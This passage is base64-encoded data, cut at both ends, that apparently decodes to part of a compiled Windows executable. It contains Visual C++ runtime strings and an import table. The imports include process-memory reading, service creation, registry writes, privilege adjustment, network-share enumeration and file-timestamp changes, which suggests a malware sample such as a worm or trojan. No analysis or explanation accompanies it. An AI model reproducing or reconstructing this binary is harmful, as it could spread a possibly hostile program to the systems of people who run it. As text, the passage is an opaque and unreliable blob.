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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 